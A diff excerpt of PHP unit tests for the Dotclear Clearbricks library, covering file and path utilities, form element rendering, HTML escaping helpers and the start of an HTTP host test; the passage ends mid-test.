* See http://en.wikipedia.org/wiki/Internet_media_type for all mimetypes
*/
public function testGetMimeType()
{
$this
->string(\files::getMimeType('fichier.txt'))
->isEqualTo('text/plain');
$this
->string(\files::getMimeType('fichier.css'))
->isEqualTo('text/css');
$this
->string(\files::getMimeType('fichier.js'))
->isEqualTo('application/javascript');
// FIXME: SHould be application/octet-stream (default for unknow)
// See http://www.rfc-editor.org/rfc/rfc2046.txt section 4.
// This test don't pass
$this
->string(\files::getMimeType('fichier.dummy'))
->isEqualTo('application/octet-stream');
}
/**
* There's a lot of mimetypes. Only test if mimetypes array is not empty
*/
public function testMimeTypes()
{
$this
->array(\files::mimeTypes())
->isNotEmpty();
}
/**
* Try to register a new mimetype: test/test which don't exists
*/
public function testRegisterMimeType()
{
\files::registerMimeTypes(['text/test']);
$this
->array(\files::mimeTypes())
->contains('text/test');
}
/**
* Test if a file is deletable. Under windows every file is deletable
* TODO: Do it under an Unix/Unix-like system
*/
public function testFileIsDeletable()
{
$tmpname = tempnam(TEST_DIRECTORY, 'testfile_1.txt');
$file = fopen($tmpname, 'w+');
$this
->boolean(\files::isDeletable($tmpname))
->isTrue();
fclose($file);
unlink($tmpname);
}
/**
* Test if a directory is deletable
* TODO: Do it under Unix/Unix-like system
*/
public function testDirIsDeletable()
{
$dirname = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'testdirectory_2';
mkdir($dirname);
$this
->boolean(\files::isDeletable($dirname))
->isTrue();
rmdir($dirname);
// Test with a non existing dir
$this
->boolean(\files::isDeletable($dirname))
->isFalse();
}
/**
* Create a directories structure and delete it
*/
public function testDeltree()
{
$dirstructure = join(DIRECTORY_SEPARATOR, [TEST_DIRECTORY, 'temp_3', 'tests', 'are', 'good', 'for', 'you']);
mkdir($dirstructure, 0700, true);
touch($dirstructure . DIRECTORY_SEPARATOR . 'file.txt');
$this
->boolean(\files::deltree(join(DIRECTORY_SEPARATOR, [TEST_DIRECTORY, 'temp_3'])))
->isTrue();
$this
->boolean(is_dir(TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'temp_3'))
->isFalse();
}
/**
* There's a know bug on windows system with filemtime,
* so this test might fail within this system
*/
public function testTouch()
{
$file_name = tempnam(TEST_DIRECTORY, 'testfile_4.txt');
$fts = filemtime($file_name);
// Must keep at least one second of difference
sleep(1);
\files::touch($file_name);
clearstatcache(); // stats are cached, clear them!
$sts = filemtime($file_name);
$this
->integer($sts)
->isGreaterThan($fts);
unlink($file_name);
}
/**
* Make a single directory
*/
public function testMakeDir()
{
// Test no parent
$dirPath = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'testdirectory_5';
\files::makeDir($dirPath);
$this
->boolean(is_dir($dirPath))
->isTrue();
\files::deltree($dirPath);
// Test with void name
$this
->variable(\files::makeDir(''))
->isNull();
// test with already existing dir
$this
->variable(\files::makeDir(TEST_DIRECTORY))
->isNull();
}
/**
* Make a directory structure
*/
public function testMakeDirWithParent()
{
// Test multitple parent
$dirPath = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'temp_6/is/a/test/directory/';
\files::makeDir($dirPath, true);
$path = '';
foreach ([TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'temp_6', 'is', 'a', 'test', 'directory'] as $p) {
$path .= $p . DIRECTORY_SEPARATOR;
$this->boolean(is_dir($path));
}
\files::deltree(TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'temp_6');
}
/**
* Try to create an forbidden directory
* Under windows try to create a reserved directory
* Under Unix/Unix-like sytem try to create a directory at root dir
*/
public function testMakeDirImpossible()
{
if (DIRECTORY_SEPARATOR == '\\') {
$dir = 'COM1'; // Windows system forbid that name
} else {
$dir = '/dummy'; // On Unix system can't create a directory at root
}
$this->exception(function () use ($dir) {
\files::makeDir($dir);
});
}
public function testInheritChmod()
{
$dirName = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'testdir_7';
$sonDirName = $dirName . DIRECTORY_SEPARATOR . 'anotherDir';
mkdir($dirName, 0777);
mkdir($sonDirName);
$parentPerms = fileperms($dirName);
\files::inheritChmod($sonDirName);
$sonPerms = fileperms($sonDirName);
$this
->boolean($sonPerms === $parentPerms)
->isTrue();
\files::deltree($dirName);
// Test again witha dir mode set
\files::$dir_mode = 0770;
mkdir($dirName, 0777);
mkdir($sonDirName);
$parentPerms = fileperms($dirName);
\files::inheritChmod($sonDirName);
$sonPerms = fileperms($sonDirName);
$this
->boolean($sonPerms === $parentPerms)
->isFalse();
$this
->integer($sonPerms)
->isEqualTo(16888); // Aka 0770
\files::deltree($dirName);
}
public function testPutContent()
{
$content = 'A Content';
$filename = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'testfile_8.txt';
@unlink($filename);
\files::putContent($filename, $content);
$this
->string(file_get_contents($filename))
->isEqualTo($content);
unlink($filename);
}
public function testPutContentException()
{
// Test exceptions
$content = 'A Content';
$filename = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'testfile_9.txt';
@unlink($filename);
\files::putContent($filename, $content);
$this
->exception(function () use ($filename) {
chmod($filename, 0400); // Read only
\files::putContent($filename, 'unwritable');
})
->hasMessage('File is not writable.');
chmod($filename, 0700);
unlink($filename);
}
public function testSize()
{
$this
->string(\files::size(512))
->isEqualTo('512 B');
$this
->string(\files::size(1024))
->isEqualTo('1 KB');
$this
->string(\files::size(1024 + 1024 + 1))
->isEqualTo('2 KB');
$this
->string(\files::size(1024 * 1024))
->isEqualTo('1 MB');
$this
->string(\files::size(1024 * 1024 * 1024))
->isEqualTo('1 GB');
$this
->string(\files::size(1024 * 1024 * 1024 * 3))
->isEqualTo('3 GB');
$this
->string(\files::size(1024 * 1024 * 1024 * 1024))
->isEqualTo('1 TB');
}
public function testStr2Bytes()
{
$this
->float(\files::str2bytes('512B'))
->isEqualTo((float) 512);
$this
->float(\files::str2bytes('512 B'))
->isEqualTo((float) 512);
$this
->float(\files::str2bytes('1k'))
->isEqualTo((float) 1024);
$this
->float(\files::str2bytes('1M'))
->isEqualTo((float) 1024 * 1024);
// Max int limit reached, we have a float here
$this
->float(\files::str2bytes('2G'))
->isEqualTo((float) 2 * 1024 * 1024 * 1024);
}
/**
* Test uploadStatus
*
* This must fail until files::uploadStatus don't handle UPLOAD_ERR_EXTENSION
*/
public function testUploadStatus()
{
// Create a false $_FILES global without error
$file = [
'name' => 'test.jpg',
'size' => ini_get('post_max_size'),
'tmp_name' => 'temptestname.jpg',
'error' => UPLOAD_ERR_OK,
'type' => 'image/jpeg'
];
$this
->boolean(\files::uploadStatus($file))
->isTrue();
// Simulate error
$file['error'] = UPLOAD_ERR_INI_SIZE;
$this->exception(function () use ($file) {\files::uploadStatus($file);});
$file['error'] = UPLOAD_ERR_FORM_SIZE;
$this->exception(function () use ($file) {\files::uploadStatus($file);});
$file['error'] = UPLOAD_ERR_PARTIAL;
$this->exception(function () use ($file) {\files::uploadStatus($file);});
$file['error'] = UPLOAD_ERR_NO_TMP_DIR; // Since PHP 5.0.3
$this->exception(function () use ($file) {\files::uploadStatus($file);});
$file['error'] = UPLOAD_ERR_NO_FILE;
$this->exception(function () use ($file) {\files::uploadStatus($file);});
$file['error'] = UPLOAD_ERR_CANT_WRITE;
$this->exception(function () use ($file) {\files::uploadStatus($file);});
// This part might fail
if (version_compare(phpversion(), '5.2.0', '>')) {
$file['error'] = UPLOAD_ERR_EXTENSION; // Since PHP 5.2
$this->exception(function () use ($file) {\files::uploadStatus($file);});
}
}
public function testGetDirList()
{
\files::getDirList(TEST_DIRECTORY, $arr);
$this
->array($arr)
->isNotEmpty()
->hasKeys(['files', 'dirs']);
$this
->array($arr['files'])
->isNotEmpty();
$this
->array($arr['dirs'])
->isNotEmpty();
$this
->exception(function () {
\files::getDirList(TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'void', $arr);
})
->hasMessage(sprintf('%s is not a directory.', TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'void'));
// Deep structure read
$dirstructure = join(DIRECTORY_SEPARATOR, [TEST_DIRECTORY, 'temp_10', 'tests', 'are', 'good', 'for', 'you']);
mkdir($dirstructure, 0700, true);
\files::getDirList(join(DIRECTORY_SEPARATOR, [TEST_DIRECTORY, 'temp_10']), $arr);
$this
->array($arr['dirs'])
->isNotEmpty();
\files::deltree(join(DIRECTORY_SEPARATOR, [TEST_DIRECTORY, 'temp_10']));
// Unreadable dir
$dirname = TEST_DIRECTORY . DIRECTORY_SEPARATOR . 'void_11';
mkdir($dirname);
$this
->exception(function () use ($dirname) {
chmod($dirname, 0200);
\files::getDirList($dirname, $arr);
})
->hasMessage('Unable to open directory.');
chmod($dirname, 0700);
\files::deltree($dirname);
}
public function testTidyFilename()
{
$this
->string(\files::tidyFileName('a test file.txt'))
->isEqualTo('a_test_file.txt');
}
}
class path extends atoum
{
public function testRealUnstrict()
{
if (DIRECTORY_SEPARATOR == '\\') {
// Hack to make it works under Windows
$this
->string(str_replace('/', '\\', \path::real(__DIR__ . '/../fixtures/files', false)))
->isEqualTo(TEST_DIRECTORY);
$this
->string(str_replace('/', '\\', \path::real('tests/unit/fixtures/files', false)))
->isEqualTo('/tests/unit/fixtures/files');
$this
->string(str_replace('/', '\\', \path::real('tests/./unit/fixtures/files', false)))
->isEqualTo('/tests/unit/fixtures/files');
} else {
$this
->string(\path::real(__DIR__ . '/../fixtures/files', false))
->isEqualTo(TEST_DIRECTORY);
$this
->string(\path::real('tests/unit/fixtures/files', false))
->isEqualTo('/tests/unit/fixtures/files');
$this
->string(\path::real('tests/./unit/fixtures/files', false))
->isEqualTo('/tests/unit/fixtures/files');
}
}
public function testRealStrict()
{
if (DIRECTORY_SEPARATOR == '\\') {
// Hack to make it works under Windows
$this
->string(str_replace('/', '\\', \path::real(__DIR__ . '/../fixtures/files', true)))
->isEqualTo(TEST_DIRECTORY);
} else {
$this
->string(\path::real(__DIR__ . '/../fixtures/files', true))
->isEqualTo(TEST_DIRECTORY);
}
}
public function testClean()
{
$this
->string(\path::clean('..' . DIRECTORY_SEPARATOR . 'testDirectory'))
->isEqualTo(DIRECTORY_SEPARATOR . 'testDirectory');
$this
->string(\path::clean(DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'testDirectory' . DIRECTORY_SEPARATOR))
->isEqualTo(DIRECTORY_SEPARATOR . 'testDirectory');
$this
->string(\path::clean(DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR . 'testDirectory' . DIRECTORY_SEPARATOR))
->isEqualTo(DIRECTORY_SEPARATOR . 'testDirectory');
$this
->string(\path::clean(DIRECTORY_SEPARATOR . 'testDirectory' . DIRECTORY_SEPARATOR . '..'))
->isEqualTo(DIRECTORY_SEPARATOR . 'testDirectory');
}
public function testInfo()
{
$info = \path::info(TEST_DIRECTORY . DIRECTORY_SEPARATOR . '1-one.txt');
$this
->array($info)
->isNotEmpty()
->hasKeys(['dirname', 'basename', 'extension', 'base']);
$this
->string($info['dirname'])
->isEqualTo(TEST_DIRECTORY);
$this
->string($info['basename'])
->isEqualTo('1-one.txt');
$this
->string($info['extension'])
->isEqualTo('txt');
$this
->string($info['base'])
->string('1-one');
}
public function testFullFromRoot()
{
$this
->string(\path::fullFromRoot('/test', '/'))
->isEqualTo('/test');
$this
->string(\path::fullFromRoot('test/string', '/home/sweethome'))
->isEqualTo('/home/sweethome/test/string');
}
}

View file

@ -0,0 +1,597 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.form.php';
use atoum;
class formSelectOption extends atoum
{
public function testOption()
{
$option = new \formSelectOption('un', 1, 'classme', 'data-test="This Is A Test"');
$this
->string($option->render(0))
->match('/<option.*?<\/option>/')
->match('/<option\svalue="1".*?>un<\/option>/');
$this
->string($option->render(1))
->match('/<option.*?<\/option>/')
->match('/<option.*?value="1".*?>un<\/option>/')
->match('/<option.*?selected.*?>un<\/option>/');
}
public function testOptionOpt()
{
$option = new \formSelectOption('deux', 2);
$this
->string($option->render(0))
->match('/<option.*?<\/option>/')
->match('/<option\svalue="2".*?>deux<\/option>/');
$this
->string($option->render(2))
->match('/<option.*?<\/option>/')
->match('/<option.*?value="2".*?>deux<\/option>/')
->match('/<option.*?selected.*?>deux<\/option>/');
}
}
/**
* Test the form class.
* formSelectOptions is implicitly tested with testCombo
*/
class form extends atoum
{
/**
* Create a combo (select)
*/
public function testCombo()
{
$this
->string(\form::combo('testID', [], '', 'classme', 'atabindex', true, 'data-test="This Is A Test"'))
->contains('<select')
->contains('</select>')
->contains('class="classme"')
->contains('id="testID"')
->contains('name="testID"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="This Is A Test"');
$this
->string(\form::combo('testID', [], '', 'classme', 'atabindex', false, 'data-test="This Is A Test"'))
->notContains('disabled');
$this
->string(\form::combo('testID', ['one', 'two', 'three'], 'one'))
->match('/<option.*?<\/option>/')
->match('/<option\svalue="one"\sselected.*?<\/option>/');
$this
->string(\form::combo('testID', [
new \formSelectOption('Un', 1),
new \formSelectOption('Deux', 2), ]))
->match('/<option.*?<\/option>/')
->match('/<option\svalue="2">Deux<\/option>/');
$this
->string(\form::combo(['aName', 'anID'], []))
->contains('name="aName"')
->contains('id="anID"');
$this
->string(\form::combo('testID', ['onetwo' => ['one' => 'one', 'two' => 'two']]))
->match('#<optgroup\slabel="onetwo">#')
->match('#<option\svalue="one">one<\/option>#')
->contains('</optgroup');
$this
->string(\form::combo('testID', [], [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/** Test for <input type="radio"
*/
public function testRadio()
{
$this
->string(\form::radio('testID', 'testvalue', true, 'aclassname', 'atabindex', true, 'data-test="A test"'))
->contains('type="radio"')
->contains('name="testID"')
->contains('id="testID"')
->contains('checked')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"');
$this
->string(\form::radio(['aName', 'testID'], 'testvalue', true, 'aclassname', 'atabindex', false, 'data-test="A test"'))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::radio('testID', 'testvalue', true, 'aclassname', 'atabindex', false, 'data-test="A test"'))
->notContains('disabled');
$this
->string(\form::radio('testID', 'testvalue', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/** Test for <input type="checkbox"
*/
public function testCheckbox()
{
$this
->string(\form::checkbox('testID', 'testvalue', true, 'aclassname', 'atabindex', true, 'data-test="A test"'))
->contains('type="checkbox"')
->contains('name="testID"')
->contains('id="testID"')
->contains('checked')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"');
$this
->string(\form::checkbox(['aName', 'testID'], 'testvalue', true, 'aclassname', 'atabindex', false, 'data-test="A test"'))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::checkbox('testID', 'testvalue', true, 'aclassname', 'atabindex', false, 'data-test="A test"'))
->notContains('disabled');
$this
->string(\form::checkbox('testID', 'testvalue', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
public function testField()
{
$this
->string(\form::field('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="text"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="testvalue"')
->contains('required');
$this
->string(\form::field(['aName', 'testID'], 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::field('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::field('testID', 10, 20, [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
public function testPassword()
{
$this
->string(\form::password('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="password"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="testvalue"')
->contains('required');
$this
->string(\form::password(['aName', 'testID'], 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::password('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::password('testID', 10, 20, [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create a color input field
*/
public function testColor()
{
$this
->string(\form::color('testID', 10, 20, '#f369a3', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="color"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="#f369a3"')
->contains('required');
$this
->string(\form::color(['aName', 'testID'], 10, 20, '#f369a3', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::color('testID', 10, 20, '#f369a3', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::color('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('size="7"')
->contains('maxlength="7"')
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create an email input field
*/
public function testEmail()
{
$this
->string(\form::email('testID', 10, 20, 'me@example.com', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="email"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="me@example.com"')
->contains('required');
$this
->string(\form::email(['aName', 'testID'], 10, 20, 'me@example.com', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::email('testID', 10, 20, 'me@example.com', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::email('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create an URL input field
*/
public function testUrl()
{
$this
->string(\form::url('testID', 10, 20, 'https://example.com/', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="url"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="https://example.com/"')
->contains('required');
$this
->string(\form::url(['aName', 'testID'], 10, 20, 'https://example.com/', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::url('testID', 10, 20, 'https://example.com/', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::url('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create a datetime (local) input field
*/
public function testDatetime()
{
$this
->string(\form::datetime('testID', 10, 20, '1962-05-13T02:15', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="datetime-local"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="1962-05-13T02:15"')
->contains('required')
->contains('pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}')
->contains('placeholder="1962-05-13T14:45"');
$this
->string(\form::datetime(['aName', 'testID'], 10, 20, '1962-05-13T02:15', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::datetime('testID', 10, 20, '1962-05-13T02:15', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::datetime('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create a date input field
*/
public function testDate()
{
$this
->string(\form::date('testID', 10, 20, '1962-05-13', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="date"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="1962-05-13"')
->contains('required')
->contains('pattern="[0-9]{4}-[0-9]{2}-[0-9]{2}')
->contains('placeholder="1962-05-13"');
$this
->string(\form::date(['aName', 'testID'], 10, 20, '1962-05-13', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::date('testID', 10, 20, '1962-05-13', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::date('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create a datetime (local) input field
*/
public function testTime()
{
$this
->string(\form::time('testID', 10, 20, '02:15', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="time"')
->contains('size="10"')
->contains('maxlength="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="02:15"')
->contains('required')
->contains('pattern="[0-9]{2}:[0-9]{2}')
->contains('placeholder="14:45"');
$this
->string(\form::time(['aName', 'testID'], 10, 20, '02:15', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::time('testID', 10, 20, '02:15', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::time('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
/**
* Create a file input field
*/
public function testFile()
{
$this
->string(\form::file('testID', 'filename.ext', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="file"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="filename.ext"')
->contains('required');
$this
->string(\form::file(['aName', 'testID'], 'filename.ext', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::file('testID', 'filename.ext', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::file('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
public function testNumber()
{
$this
->string(\form::number('testID', 0, 99, 13, 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('type="number"')
->contains('min="0"')
->contains('max="99"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('value="13"')
->contains('required');
$this
->string(\form::number(['aName', 'testID'], 0, 99, 13, 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::number('testID', 0, 99, 13, 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::number('testID', [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->notContains('min=')
->notContains('max=')
->contains('tabindex="0"')
->contains('disabled');
}
public function testTextArea()
{
$this
->string(\form::textArea('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->match('#<textarea.*?testvalue.*?<\/textarea>#s')
->contains('cols="10"')
->contains('rows="20"')
->contains('name="testID"')
->contains('id="testID"')
->contains('class="aclassname"')
->contains('tabindex="0"')
->contains('disabled')
->contains('data-test="A test"')
->contains('required');
$this
->string(\form::textArea(['aName', 'testID'], 10, 20, 'testvalue', 'aclassname', 'atabindex', true, 'data-test="A test"', true))
->contains('name="aName"')
->contains('id="testID"');
$this
->string(\form::textArea('testID', 10, 20, 'testvalue', 'aclassname', 'atabindex', false, 'data-test="A test"', true))
->notContains('disabled');
$this
->string(\form::textArea('testID', 10, 20, [
'tabindex' => 'atabindex',
'disabled' => true,
]))
->contains('tabindex="0"')
->contains('disabled');
}
public function testHidden()
{
$this
->string(\form::hidden('testID', 'testvalue'))
->contains('type="hidden"')
->contains('name="testID"')
->contains('id="testID"')
->contains('value="testvalue"');
$this
->string(\form::hidden(['aName', 'testID'], 'testvalue'))
->contains('name="aName"')
->contains('id="testID"');
}
}

View file

@ -0,0 +1,132 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.html.php';
use atoum;
/**
* Test the form class
*/
class html extends atoum
{
/** Simple test. Don't need to test PHP functions
*/
public function testEscapeHTML()
{
$str = '"<>&';
$this
->string(\html::escapeHTML($str))
->isEqualTo('&quot;&lt;&gt;&amp;');
$this
->string(\html::escapeHTML(null))
->isEqualTo('');
}
public function testDecodeEntities()
{
$this
->string(\html::decodeEntities('&lt;body&gt;', true))
->isEqualTo('&lt;body&gt;');
$this
->string(\html::decodeEntities('&lt;body&gt;'))
->isEqualTo('<body>');
}
/**
* html::clean is a wrapper of a PHP native function
* Simple test
*/
public function testClean()
{
$this
->string(\html::clean('<b>test</b>'))
->isEqualTo('test');
}
public function testEscapeJS()
{
$this
->string(\html::escapeJS('<script>alert("Hello world");</script>'))
->isEqualTo('&lt;script&gt;alert(\"Hello world\");&lt;/script&gt;');
}
/**
* html::escapeURL is a wrapper of a PHP native function
* Simple test
*/
public function testEscapeURL()
{
$this
->string(\html::escapeURL('https://www.dotclear.org/?q=test&test=1'))
->isEqualTo('https://www.dotclear.org/?q=test&amp;test=1');
}
/**
* html::sanitizeURL is a wrapper of a PHP native function
* Simple test
*/
public function testSanitizeURL()
{
$this
->string(\html::sanitizeURL('https://www.dotclear.org/'))
->isEqualTo('https%3A//www.dotclear.org/');
}
/**
* Test removing host prefix
*/
public function testStripHostURL()
{
$this
->string(\html::stripHostURL('https://www.dotclear.org/best-blog-engine/'))
->isEqualTo('/best-blog-engine/');
$this
->string(\html::stripHostURL('dummy:/not-well-formed-url.d'))
->isEqualTo('dummy:/not-well-formed-url.d');
}
public function testAbsoluteURLs()
{
\html::$absolute_regs[] = '/(<param\s+name="movie"\s+value=")(.*?)(")/msu';
$this
->string(\html::absoluteURLs('<a href="/best-blog-engine-ever/">Clickme</a>', 'https://dotclear.org/'))
->isEqualTo('<a href="https://dotclear.org/best-blog-engine-ever/">Clickme</a>');
$this
->string(\html::absoluteURLs('<a href="best-blog-engine-ever/">Clickme</a>', 'https://dotclear.org/'))
->isEqualTo('<a href="https://dotclear.org/best-blog-engine-ever/">Clickme</a>');
$this
->string(\html::absoluteURLs('<a href="#anchor">Clickme</a>', 'https://dotclear.org/'))
->isEqualTo('<a href="https://dotclear.org/#anchor">Clickme</a>');
$this
->string(\html::absoluteURLs('<a href="index.php">Clickme</a>', '/'))
->isEqualTo('<a href="/index.php">Clickme</a>');
$this
->string(\html::absoluteURLs('<a href="lib">Clickme</a>', '/var/tmp'))
->isEqualTo('<a href="/var/lib">Clickme</a>');
$this
->string(\html::absoluteURLs('<param name="movie" value="my-movie.flv" />', 'https://dotclear.org/'))
->isEqualTo('<param name="movie" value="https://dotclear.org/my-movie.flv" />');
}
}

View file

@ -0,0 +1,322 @@
<?php
# -- BEGIN LICENSE BLOCK ---------------------------------------
#
# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2013 Olivier Meunier & Association Dotclear
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK -----------------------------------------
namespace tests\unit;
require_once __DIR__ . '/../bootstrap.php';
require_once CLEARBRICKS_PATH . '/common/lib.http.php';
require_once CLEARBRICKS_PATH . '/common/lib.crypt.php';
require_once CLEARBRICKS_PATH . '/common/lib.files.php';
if (!defined('TEST_DIRECTORY')) {
define('TEST_DIRECTORY', realpath(
__DIR__ . '/../fixtures/files'
));
}
use atoum;
/**
* Test the form class
*/
class http extends atoum
{
/** Test getHost
* In CLI mode superglobal variable $_SERVER is not set correctly
*/
public function testGetHost()
{
// Normal
$_SERVER['HTTP_HOST'] = 'localhost';
$_SERVER['SERVER_PORT'] = 80;
$this
->string(\http::getHost())
->isEqualTo('http://localhost');
// On a different port
$_SERVER['SERVER_PORT'] = 8080;
$this
->string(\http::getHost())
->isEqualTo('http://localhost:8080');
// On secure port without enforcing TLS
$_SERVER['SERVER_PORT'] = 443;
$this
->string(\http::getHost())
->isEqualTo('http://localhost:443');
